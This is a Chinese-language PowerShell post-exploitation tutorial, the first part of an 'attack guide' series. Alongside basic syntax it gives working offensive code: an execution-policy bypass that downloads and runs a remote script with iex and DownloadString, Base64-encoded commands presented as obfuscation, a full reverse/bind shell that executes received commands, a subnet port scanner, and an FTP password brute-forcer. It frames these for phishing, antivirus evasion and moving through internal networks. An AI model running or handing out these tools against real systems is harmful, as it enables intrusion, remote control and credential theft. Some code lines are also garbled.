標籤:

Powershell攻擊指南——黑客後滲透之道系列之基礎篇

作者:香山

預估稿費:800RMB

(本篇文章享受雙倍稿費 活動鏈接請點擊此處)

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

此為Powershell攻擊指南——黑客後滲透之道系列的第一篇基礎篇。此後每兩天更新一篇,敬請期待!

前言

一段時間以來研究Powershell,後來應朋友們對Powershell的需求,讓我寫一個Powershell安全入門或者介紹方面的文章,所以這篇文章就出現了。但又因為各種各樣的事情搞得有些拖延,同時作者文筆不好,文章可能有不流暢的地方,還請多多見諒。這裡做一些總結,來讓新人對此有個大致了解,能對Powershell或是內網有更多的理解。開始之前也要感謝紅線安全團隊的資深安全專家@城哥和朋友x403258在我寫文過程中的幫助。

那麼開始之前我們先來思考一下powershell一個常見的問題,那麼我們知道powershell的後綴是ps1,哪為什麼是ps1而不是ps2,ps3呢?那麼理解這個問題呢我們可以看看powershell的特性,powershell是對下完全兼容的,也就是說你使用powershell 5.x的版本來執行powershell v1.0的代碼也是完全沒有問題的。那麼我個人理解一下為什麼是ps1,可以這麼說,當我們見到ps2後綴之時就是powershell進行大的更新,也就是不對下兼容的時候,所以這裡一直是使用ps1後綴。

那麼對於我們的安全人員來說我們用什麼版本呢?毫無疑問是v2,為什麼呢,應為在win7當中默認安裝了v2,而且之後的版本都是兼容v2的,v1版本所有的功能對於我們的需求很多都不能滿足,所以v2成為了我們目前來說獨一無二的選擇,通過下面的方式我們可以看到我們的powershell的版本與一些詳細的信息,後面我們的代碼,大多都是以v2.0來討論的。

Get-Host

Name : ConsoleHostVersion : 2.0InstanceId : 388599a6-35cd-4bba-bedb-cf00d2a39389UI : System.Management.Automation.Internal.Host.InternalHostUserInterfaceCurrentCulture : zh-CNCurrentUICulture : en-USPrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxyIsRunspacePushed : FalseRunspace : System.Management.Automation.Runspaces.LocalRunspace

對於安全人員學習ps主要有以下兩個場景:

  1. 第一種我們需要獲得免殺或者更好的隱蔽攻擊對方的win機器,可以通過釣魚等方式直接執行命令
  2. 第二種我們已經到了對方網路,再不濟也是一台DMZ的win-server,那麼我們利用ps做的事情那麼自然而然的是對內網繼續深入

那麼本powershell系列主要是內容涉及和安全測試相關的內容,所以面向的讀者主要是安全或者運維人員,不管你是在網路世界中扮演什麼角色,在這裡應該是能收穫到你想要的。文章主要包含下面一些內容:

  1. powershell基礎語法
  2. powershell腳本編寫與調用執行
  3. powershell的Socket編程
  4. powershell埠掃描與服務爆破
  5. powershell多線程
  6. powershell操作wmi
  7. powershell操作win32API
  8. powershell操作Dll注入&shellcode注入&exe注入
  9. powershell混淆
  10. powershell事件日誌
  11. powershell實例使用場景
  12. Powershell滲透工具集

powershell(2)-基礎

本節主要講一下關於powershell一些簡單的基礎知識,推薦網站pstips.net/學習Powershell的一些基礎知識這裡是一些簡單的基礎,寫的可能有些簡陋,這裡可能需要你有一些編程語言的基礎就能看懂啦,這裡對於後面的代碼分析是非常有用的,所以還是希望大家簡單的瀏覽一下基礎知識。

變數

變數都是以$開頭, 是強類型語言, 語言是大小寫不敏感的

提一提變數保護與常量的聲明:New-Variable num -Value 100 -Force -Option readonly這樣就得到一個受保護的變數$num,如果要銷毀它只能通過del $num刪除。如果要聲明常量則用New-Variable num -Value 100 -Force -Option readonlyNew-Variable num -Value 100 -Force -Option constant

數組

數組的創建:

數組的創建可以通過下面五種方式來創建,在適當的條件下選擇適當的方式創建即可

$array = 1,2,3,4$array = 1..4$array=1,"2017",([System.Guid]::NewGuid()),(get-date)$a=@() # 空數組$a=,"1" # 一個元素的數組

數組的訪問

數組的訪問和C類似,第一位元素實用下標0來訪問即$array[0],我們來看看ipconfig獲取到的數據

$ip = ipconfig$ip[1] # 獲取ipconfig第二行的數據

數組的判斷

$test -is [array]

數組的追加:

$books += "元素4"

哈希表

哈希表的創建:

$stu=@{ Name = "test";Age="12";sex="man" }

哈希表裡存數組:

$stu=@{ Name = "hei";Age="12";sex="man";Books="kali","sqlmap","powershell" }

哈希表的插入與刪除:

$Student=@{}$Student.Name="hahaha"$stu.Remove("Name")

對象

在powershell中一切都可以視為對象,包羅萬象New-Object可以創建一個對象Add-Member可以添加屬性和方法

控制語句

條件判斷

比較運算符

-eq :等於-ne :不等於-gt :大於-ge :大於等於-lt :小於-le :小於等於-contains :包含$array -contains something-notcontains :不包含!($a): 求反-and :和-or :或-xor :異或-not :逆

if-else

if-else:if($value -eq 1){ code1}else{ code2}

循環語句

while

while($n -gt 0){ code}

for

$sum=0for($i=1;$i -le 100;$i++){ $sum+=$i}$sum

foreach

# 列印出windows目錄下大於1mb的文件名foreach($file in dir c:windows){ if($file.Length -gt 1mb) { $File.Name }}

foreach-object

# 獲取所有的服務,並獲取對呀進程ID是否大於100Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}

函數

function Invoke-PortScan {<#.SYNOPSIS 簡介.DESCRIPTION描述 .PARAMETER StartAddress參數.PARAMETER EndAddress參數.EXAMPLEPS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254用例#>code}

異常處理

Try{ $connection.open() $success = $true}Catch{ $success = $false}

Powershell(3)-腳本執行基礎

開始之前

我們在開始之前先來介紹在windows平台中常用到的幾種腳本

Bat

這就是我們常用的Bat腳本,全名為批處理文件,腳本中就是我們在CMD中使用到的命令,這裡提一個小問題:CMD的命令行執行命令的優先順序是.bat > .exe,那麼假如我放一個cmd.bat在system32目錄下,那麼優先執行的是cmd.bat,這裡面的內容就變得不可描述起來了

VBscript

執行vbs就是常說的vbscript,是微軟為了方便自動化管理windows而推出的腳本語言,這裡了解一下即可,不是文章重點。

一個小例子通過vbs操作WMISet wmi = GetObject("winmgmts:")Set collection = wmi.ExecQuery("select * from Win32_Process")For Each process in collectionWScript.Echo process.getObjectText_Next

Powershell

這就是我們的主角,在現在和未來一定是powershell佔據主要地位(對於這一點搞Win多一點的朋友一定不會懷疑),首先我們來看一個簡單的例子

script.ps1:# 腳本內容function test-conn { Test-Connection -Count 2 -ComputerName $args}# 載入腳本文件.script.ps1# 調用函數test-conn localhost

Powershell執行策略

那麼你可能會在調用腳本的時候出現報錯,這是powershell的安全執行策略,下面我們來了解一下執行策略:PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六種類型的執行策略簡單介紹各種策略如下:

名稱說明Restricted受限制的,可以執行單個的命令,但是不能執行腳本Windows 8, Windows Server 2012, and Windows 8.1中默認就是這種策略,所以是不能執行腳本的,執行就會報錯,那麼如何才能執行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是設置策略為Bypass這樣就可以執行腳本了。AllSignedAllSigned 執行策略允許執行所有具有數字簽名的腳本RemoteSigned當執行從網路上下載的腳本時,需要腳本具有數字簽名,否則不會運行這個腳本。如果是在本地創建的腳本則可以直接執行,不要求腳本具有數字簽名。Unrestricted這是一種比較寬容的策略,允許運行未簽名的腳本。對於從網路上下載的腳本,在運行前會進行安全性提示。需要你確認是否執行腳本BypassBypass 執行策略對腳本的執行不設任何的限制,任何腳本都可以執行,並且不會有安全性提示。UndefinedUndefined 表示沒有設置腳本策略。當然此時會發生繼承或應用默認的腳本策略。

那麼我們如何繞過這些安全策略呢?下面提供幾種方法,網上還有很多的繞過方法,大家可以自行研究:

名稱說明Get-ExecutionPolicy獲取當前的執行策略Get-Content .test.ps1 | powershell.exe -noprofile –通過管道輸入進pspowershell -nop -c 「iex(New-Object Net.WebClient).DownloadString(『192.168.1.2/test.ps1『)」通過遠程下載腳本來繞過|bytes = [System.Text.Encoding]::Unicode.GetBytes(encodedCommand =[Convert]::ToBase64String(encodedCommand|通過BASE64編碼執行|

powershell的腳本調用方法:

  1. 如果腳本是直接寫的代碼而不是只定義了函數那麼直接執行腳本.script.ps1即可
  2. 但是如果是載入裡面的函數需要.+空格+.script.ps1
  3. 或者使用Import-Module .script.ps1, 這樣才能直接使用腳本的函數

通過控制台執行Powershell

對於我們安全測試人員通常獲取到的一個Shell是CMD的, 那麼我們想要儘可能少的操作就可以直接通過控制台來執行powershell的命令, 那麼先來看一個簡單的例子:

可以看到我們通過CMD界面執行了Powershell的代碼, 那麼其實這樣的執行方式在真實的安全測試環境中利用更多, 下面是一個Powershell通過這種方式執行的所有可選的參數:

PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>] [-EncodedCommand <Base64EncodedCommand>] [-ExecutionPolicy <ExecutionPolicy>] [-File <filePath> <args>] [-InputFormat {Text | XML}] [-NoExit] [-NoLogo] [-NonInteractive] [-NoProfile] [-OutputFormat {Text | XML}] [-Sta] [-WindowStyle <style>] [-Command { - | <script-block> [-args <arg-array>] | <string> [<CommandParameters>] } ]PowerShell[.exe] -Help | -? | /?

名稱解釋-Command需要執行的代碼-ExecutionPolicy設置默認的執行策略,一般使用Bypass-EncodedCommand執行Base64代碼-File這是需要執行的腳本名-NoExit執行完成命令之後不會立即退出,比如我們執行powerhsell whoami 執行完成之後會推出我們的PS會話,如果我們加上這個參數,運行完之後還是會繼續停留在PS的界面-NoLogo不輸出PS的Banner信息-Noninteractive不開啟互動式的會話-NoProfile不使用當前用戶使用的配置文件-Sta以單線程模式啟動ps-Version設置用什麼版本去執行代碼-WindowStyle設置Powershell的執行窗口,有下面的參數Normal, Minimized, Maximized, or Hidden

最後舉一個執行Base64代碼的例子:

  1. 我們先試用上面一個表格提到的編碼代碼編碼命令whoami, 得到字元串:dwBoAG8AYQBtAGkACgA=
  2. 通過下面的命令來執行代碼

powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=

那麼這種需求在什麼地方呢? 比如我們的代碼特別長或者會引起一起歧義的時候就需要我們使用這種方式去執行, 同時也是一個混淆的方式。

Powershell(4)-Socket網路編程

這一小節我們介紹Powershell中的Socket編程,網路編程是所有語言中繞不開的核心點,下面我們通過對代碼的分析來讓大家對PS中的Socket有一個初步的了解。

Socket-Tcp編程

開始之前我們先想想為什麼要學習socket編程,那麼最直觀的是埠掃描,那麼還有可能是反彈shell之類的應用。進行Socket編程只需要調用.Net框架即可,這裡先使用TCP來示例:

這裡是去打開一個TCP連接到本地的21埠,並獲取21埠返回的Banner信息,其中GetOutput函數看不了可以先不看,其用來獲取stream中的數據,主要看Main函數內容:

Tcp-Demo.ps1function GetOutput { ## 創建一個緩衝區獲取數據 $buffer = new-object System.Byte[] 1024 $encoding = new-object System.Text.AsciiEncoding $outputBuffer = "" $findMore = $false ## 從stream讀取所有的數據,寫到輸出緩衝區 do{ start-sleep -m 1000 $findmore = $false # 讀取Timeout $stream.ReadTimeout = 1000 do{ try { $read = $stream.Read($buffer, 0, 1024) if($read -gt 0){ $findmore = $true $outputBuffer += ($encoding.GetString($buffer, 0, $read)) } } catch { $findMore = $false; $read = 0 } } while($read -gt 0) } while($findmore) $outputBuffer }function Main{ # 定義主機和埠 $remoteHost = "127.0.0.1" $port = 21 # 定義連接Host與Port $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port) # 進行連接 $stream = $socket.GetStream() # 獲取Stream $writer = new-object System.IO.StreamWriter $stream # 創建IO對象 $SCRIPT:output += GetOutput # 聲明變數 if($output){ # 輸出 foreach($line in $output.Split("`n")) { write-host $line } $SCRIPT:output = "" }}. Main

我們來看看輸出結果:

PS C:UsersrootclayDesktoppowershell> . .Tcp-Demo.ps1220 Microsoft FTP Service

這樣就打開了21埠的連接,並且獲取到了21埠的banner信息。那麼有過埠掃描編寫的朋友肯定已經看到了,這種方式是直接打開連接,並不能獲取到一些需要發包才能返回banner的埠信息,典型的80埠就是如此,我們需要給80埠發送特定的信息才能得到Response, 當然還有許多類似的埠,比如3389埠, 下面我們來看看我們如何使用powershell實現這項功能.

Tcp-Demo2.ps1function GetOutput { ... # 代碼和上面的一樣}function Main{ # 定義主機和埠 $remoteHost = "127.0.0.1" $port = 80 # 定義連接Host與Port $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port) # 進行連接 $stream = $socket.GetStream() # 獲取Stream $writer = new-object System.IO.StreamWriter $stream # 創建IO對象 $SCRIPT:output += GetOutput # 聲明變數, userInput為要發包的內容,這裡我們需要發送一個GET請求給Server $userInput = "GET / HTTP/1.1 `nHost: localhost `n`n" # 定義發包內容 foreach($line in $userInput) { # 發送數據 $writer.WriteLine($line) $writer.Flush() $SCRIPT:output += GetOutput } if($output){ # 輸出 foreach($line in $output.Split("`n")) { write-host $line } $SCRIPT:output = "" }}. Main

我們來看看輸出:

PS C:UsersrootclayDesktoppowershell> . .Tcp-Demo2.ps1HTTP/1.1 200 OKContent-Type: text/htmlAccept-Ranges: bytesETag: "5e26ec16b73ad31:0"Server: Microsoft-IIS/7.5Content-Length: 689<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>IIS7</title><style type="text/css"></style></head><body>...</body></html>

我們下面對這項功能進行一個整合:我們可以發包給一個埠,也可以直接連接一個埠,這裡已經實現TCP,http,https三種常見協議的訪問

########################################## Tcp-Request.ps1 ## ## Example1: ## ## $http = @" ## GET / HTTP/1.1 ## Host:127.0.0.1 ## `n`n ## "@ ## ## `n 在Powershell中代表換行符## $http | .Tcp-Request localhost 80 ## ## Example2: ## .Tcp-Request localhost 80 ######################################## ## 管理參數輸入param()數組param( [string] $remoteHost = "localhost", [int] $port = 80, [switch] $UseSSL, [string] $inputObject, [int] $commandDelay = 100 ) [string] $output = "" ## 獲取用戶輸入模式$currentInput = $inputObject if(-not $currentInput) { $SCRIPT:currentInput = @($input) } # 腳本模式開關, 如果腳本能讀取到輸入, 使用發包模式, 如果沒有輸入使用TCP直連模式$scriptedMode = [bool] $currentInput function Main{ ## 打開socket連接遠程機器和埠 if(-not $scriptedMode) { write-host "Connecting to $remoteHost on port $port" } ## 異常追蹤 trap { Write-Error "Could not connect to remote computer: $_"; exit } $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port) if(-not $scriptedMode) { write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n" } $stream = $socket.GetStream() ## 如果有SSl使用SSLStream獲取Stream if($UseSSL) { $sslStream = New-Object System.Net.Security.SslStream $stream,$false $sslStream.AuthenticateAsClient($remoteHost) $stream = $sslStream } $writer = new-object System.IO.StreamWriter $stream while($true) { ## 獲取得到的Response結果 $SCRIPT:output += GetOutput ## 如果我們使用了管道輸入的模式,我們發送我們的命令,再接受輸出,並退出 if($scriptedMode) { foreach($line in $currentInput) { $writer.WriteLine($line) $writer.Flush() Start-Sleep -m $commandDelay $SCRIPT:output += GetOutput } break } ## 如果沒有使用事先管道輸入的模式直接讀取TCP回包 else { if($output) { # 逐行輸出 foreach($line in $output.Split("`n")) { write-host $line } $SCRIPT:output = "" } ## 獲取用戶的輸入,如果讀取到^D就退出 $command = read-host if($command -eq ([char] 4)) { break; } $writer.WriteLine($command) $writer.Flush() } } ## Close the streams $writer.Close() $stream.Close() ## 如果我們使用了管道輸入的模式,這裡輸出剛才讀取到伺服器返回的數據 if($scriptedMode) { $output } } ## 獲取遠程伺服器的返回數據function GetOutput { ## 創建一個緩衝區獲取數據 $buffer = new-object System.Byte[] 1024 $encoding = new-object System.Text.AsciiEncoding $outputBuffer = "" $findMore = $false ## 從stream讀取所有的數據,寫到輸出緩衝區 do { start-sleep -m 1000 $findmore = $false $stream.ReadTimeout = 1000 do { try { $read = $stream.Read($buffer, 0, 1024) if($read -gt 0) { $findmore = $true $outputBuffer += ($encoding.GetString($buffer, 0, $read)) } } catch { $findMore = $false; $read = 0 } } while($read -gt 0) } while($findmore) $outputBuffer } . Main

那麼至此我們已經完成了對TCP埠的打開並獲取對應的信息,其中很多的關鍵代碼釋義我已經詳細給出,我們主要以TCP為例,由於UDP應用場景相對於TCP較少,關於UDP的編寫可自行編寫。這個腳本加以修改就是一個Powershell完成的掃描器了,埠掃描器我們放在下一節來分析,我們這裡最後看一個反彈shell的ps腳本, 同樣在注釋中詳細解釋了代碼塊的作用。

function TcpShell{ <#.DESCRIPTION一個簡單的Shell連接工具, 支持正向與反向.PARAMETER IPAddressIp地址參數.PARAMETER Portport參數.EXAMPLE反向連接模式PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444.EXAMPLE正向連接模式PS > TcpShell -Bind -Port 4444.EXAMPLEIPV6地址連接PS > TcpShell -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444#> # 參數綁定 [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { # 如果檢測到Reverse參數,開啟反向連接模式 if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } # 使用正向的連接方式, 綁定本地埠, 用於正向連接 if ($Bind) { # Tcp連接監聽服務端 $server = [System.Net.Sockets.TcpListener]$Port # Tcp連接開始 $server.start() # Tcp開始接受連接 $client = $server.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} # 返回給連接的用戶一個簡單的介紹,目前是使用什麼的用戶來運行powershell的, 並列印powershell的banner信息 $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) # 展示一個互動式的powershell界面 $sendbytes = ([text.encoding]::ASCII).GetBytes(PS + (Get-Location).Path + >) $stream.Write($sendbytes,0,$sendbytes.Length) # while循環用於死循環,不斷開連接 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { # 指定EncodedText為Ascii對象, 用於我們後面的調用來編碼 $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding # 獲取用戶的輸入 $data = $EncodedText.GetString($bytes,0, $i) try { # 調用Invoke-Expression來執行我們獲取到的命令, 並列印獲得的結果 # Invoke-Expression會把所有的傳入命令當作ps代碼執行 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { # 錯誤追蹤 Write-Warning "Execution of command error." Write-Error $_ } $sendback2 = $sendback + PS + (Get-Location).Path + > # 錯誤列印 $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x # 返回結果 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } # 關閉連接 $client.Close() if ($server) { $server.Stop() } } catch { # 獲取錯誤信息,並列印 Write-Warning "Something went wrong!." Write-Error $_ }}

簡單的分析在注釋已經提到, 其中Invoke-Expression -Command後接的代碼都會被看作powershell來執行, 我們來看看正向連接的執行效果, 我們在172.16.50.196機器上執行下面的代碼

PS C:Usersrootclay> cd .DesktoppowershellPS C:UsersrootclayDesktoppowershell> . .Tcp-Shell.ps1PS C:UsersrootclayDesktoppowershell> TcpShell -bind -port 4444

連接這台機器, 結果如下:

反向類似執行即可

大家可以看到這個腳本的最開始有一大塊注釋,這些注釋無疑是增強腳本可讀性的關鍵,對於一個腳本的功能和用法都有清晰的講解,那麼我們來看看如何寫這些注釋呢。

<#.DESCRIPTION描述區域,主要寫你腳本的一些描述、簡介等.PARAMETER IPAddress參數介紹區域,你可以描述你的腳本參數的詳情.EXAMPLE用例描述區域, 對於你的腳本的用例用法之類都可以在這裡描述反向連接模式PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444#>

最後我們使用Get-Help命令就能看到我們編輯的這些注釋內容:

powershell(5)-埠掃描與服務爆破

埠掃描

這裡我們就開始了我們的埠掃描器的構建, 這裡很多朋友肯定會說, 埠掃描不是有很多已經很成熟的腳本了么為什麼還要去學習呢?那麼我們首先想一想目前的一些優秀的埠掃描都是Python或者Go語言等進行編寫的, 對於我們安全測試人員來說並不是最佳選擇。因為對於Windows系統Python之類的環境並不是每一台電腦都有, 但Powershell不同我們不需要進行過多的操作即可進行豐富的操作, 這也是我們作為專業安全人員的基本素養: 儘可能進行少的操作, 因為你無法刪除你所有的行蹤, 物質守恆定律—沒有人能確保自己不留任何痕迹, 那麼越少的操作無疑是我們需要思考的。 埠掃描腳本已經直接放在了下面, 同樣大部分的注釋等已經寫的很清晰, 本腳本涉及到的幾個點:

  1. 腳本參數的問題的解決, 可以看到我們的參數獲取用了CmdletBinding的方法,這樣我們可以設置參數的形式就有很多了, 比如我們需要一個參數是否可選,和參數的位置等
  2. 主機存活檢測使用Ping來檢測(ICMP)
  3. 埠掃描調用.NET的Socket來進行埠連接,如果連接建立代表埠連接成功

function PortScan {<#.DESCRIPTION埠掃描.PARAMETER StartAddressIp開始地址 Range.PARAMETER EndAddressIp結束地址 Range.PARAMETER GetHost解析獲取主機名 HostName.PARAMETER ScanPort埠掃描參數, 若不打開就是主機存活的探測 PortScan.PARAMETER Ports需要掃描的埠,默認有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086, 1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001, 8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030.PARAMETER TimeOutTimeOut 默認是10s TimeOut 100.EXAMPLEPS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254.EXAMPLEPS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost.EXAMPLEPS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort.EXAMPLEPS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500.EXAMPLEPS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80#> [CmdletBinding()] Param( [parameter(Mandatory = $true, Position = 0)] [ValidatePattern("bd{1,3}.d{1,3}.d{1,3}.d{1,3}b")] [string] $StartAddress, [parameter(Mandatory = $true, Position = 1)] [ValidatePattern("bd{1,3}.d{1,3}.d{1,3}.d{1,3}b")] [string] $EndAddress, [switch] $GetHost, [switch] $ScanPort, [int[]] $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030), [int] $TimeOut = 100 ) Begin { # 開始之前先調用Ping組件 $ping = New-Object System.Net.Networkinformation.Ping } Process { # 四層循環獲取解析IP地址 foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) { foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) { foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) { foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) { # write-progress用於在shell界面顯示一個進度條 write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) # 通過Ping命令發送ICMP包探測主機是否存活 $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut) if($pingStatus.Status -eq "Success") { if($GetHost) { # 本分支主要解決主機名的問題 # write-progress用於在shell界面顯示一個進度條 write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1 # 獲取主機名 $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null) } if($ScanPort) { # 定義一個開放的埠數組, 存儲開放的埠 $openPorts = @() for($i = 1; $i -le $ports.Count;$i++) { $port = $Ports[($i-1)] # write-progress用於在shell界面顯示一個進度條 write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2 # 定義一個Tcp的客戶端 $client = New-Object System.Net.Sockets.TcpClient # 開始連接 $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null) if($client.Connected) { # 加入開放的埠 $openPorts += $port } else { # 等待, 這裡用於網路延遲, 防止因為網路原因而沒有判斷到埠的開放而錯失很多機會 Start-Sleep -Milli $TimeOut if($client.Connected) { $openPorts += $port } } $client.Close() } } if($GetHost) { # 獲取主機名 $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName } # 返回對象-哈希表 New-Object PSObject -Property @{ IPAddress = "$a.$b.$c.$d"; HostName = $hostName; Ports = $openPorts } | Select-Object IPAddress, HostName, Ports } } } } } } End { # 其他腳本運行結束代碼 }}

我們開看看一個簡單的掃描結果:

那麼其他掃描模式可自行測試, 可以看到這種掃描是知識單線程模式, 關於多線程的編程我們放在後面再來研究。

服務爆破

那麼我們進入到服務爆破的階段, 那麼我們埠掃描之後的一步必然就是進行服務的弱點攻擊, 對於一些服務比如21FTP和資料庫之類的服務進行爆破是安全測試必經的過程, 那麼我們來以FTP服務爆破來舉例

function Invoke-BruteForce{<#.DESCRIPTIONFTP服務爆破腳本.PARAMETER Computername主機名參數.PARAMETER UserList用戶字典參數.PARAMETER PasswordList密碼字典參數.PARAMETER Service服務名參數.PARAMETER StopOnSuccess找到密碼時是否退出.PARAMETER Delay爆破時間間隔, 默認為0.EXAMPLEPS C:UsersrootclayDesktoppowershell> FTP-BruteForce -ComputerName localhost -UserList C:UsersrootclayDesktoppowershelldictusername.txt -PasswordList C:UsersrootclayDesktoppowershelldictpass.txt -Service ftp -verbose#> [CmdletBinding()] Param( [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)] [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")] [String] $ComputerName, [Parameter(Position = 1, Mandatory = $true)] [Alias(Users)] [String] $UserList, [Parameter(Position = 2, Mandatory = $true)] [Alias(Passwords)] [String] $PasswordList, [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")] [String] $Service = "FTP", [Parameter(Position = 4, Mandatory = $false)] [Switch] $StopOnSuccess, [Parameter(Position = 6, Mandatory = $false)] [UInt32] $Delay = 0 ) Begin { # 開始之前相關代碼 } Process { # Write-Verbose用於列印詳細信息 Write-Verbose "Starting Brute-Force and Delay is $Delay." # 獲取用戶名與密碼字典 $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList if (!$usernames) { $usernames = $UserList Write-Verbose "UserList file does not exist." Write-Verbose $usernames } if (!$passwords) { $passwords = $PasswordList Write-Verbose "PasswordList file does not exist." Write-Verbose $passwords } # Brute Force FTP if ($service -eq "FTP") { # 機器名的處理:若ftp://開始直接獲取名字,若沒有直接加上 if($ComputerName -notMatch "^ftp://") { $source = "ftp://" + $ComputerName } else { $source = $ComputerName } Write-Output "Brute Forcing FTP on $ComputerName" :UsernameLoop foreach ($username in $usernames) { foreach ($Password in $Passwords) { try { # 調用.net中的FTP庫進行連接 $ftpRequest = [System.Net.FtpWebRequest]::Create($source) $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails # 通過Verbose輸出的信息 Write-Verbose "Trying $userName : $password" # 進行認證連接 $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password) # 獲取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage + $result.WelcomeMessage # 列印信息到控制台 Write-Output "Match $username : $Password" $success = $true # 判斷是否要得到結果立刻退出 if ($StopOnSuccess) { break UsernameLoop } } catch { $message = $error[0].ToString() $success = $false } # 延時爆破 Start-Sleep -Seconds $Delay } } } } End { # 其他腳本運行結束代碼 }}

下面來看看爆破的結果:

如果不加-verbose參數顯示是非常清爽的:

powershell(6)-Multithreading

powershell的多線程是我們在使用powershell進行滲透過程中必須使用到的功能!為什麼呢?試想,當你到達對方內網,你需要列出用戶,或者下載文件等等操作的時候你是選擇等待幾天還是幾分鐘搞定呢?我們通過內存和CPU的佔用來提高效率,也就是我們通常演算法上說的用空間來換取時間。機器配置高,有的用,而不用就是浪費。

powershell自帶的Job

這裡使用網上一個例子

# 不使用多線程$start = Get-Date$code1 = { Start-Sleep -Seconds 5; A }$code2 = { Start-Sleep -Seconds 5; B}$code3 = { Start-Sleep -Seconds 5; C}$result1,$result2,$result3= (& $code1),(& $code2),(& $code3)$end =Get-Date$timespan= $end - $start$seconds = $timespan.TotalSecondsWrite-Host "總耗時 $seconds 秒."# 使用多線程$start = Get-Date$code1 = { Start-Sleep -Seconds 5; A }$code2 = { Start-Sleep -Seconds 5; B}$code3 = { Start-Sleep -Seconds 5; C} $job1 = Start-Job -ScriptBlock $code1$job2 = Start-Job -ScriptBlock $code2$job3 = Start-Job -ScriptBlock $code3 $alljobs = Wait-Job $job1,$job2,$job3$result1,$result2,$result3 = Receive-Job $alljobs $end =Get-Date $timespan= $end - $start$seconds = $timespan.TotalSecondsWrite-Host "總耗時 $seconds 秒."

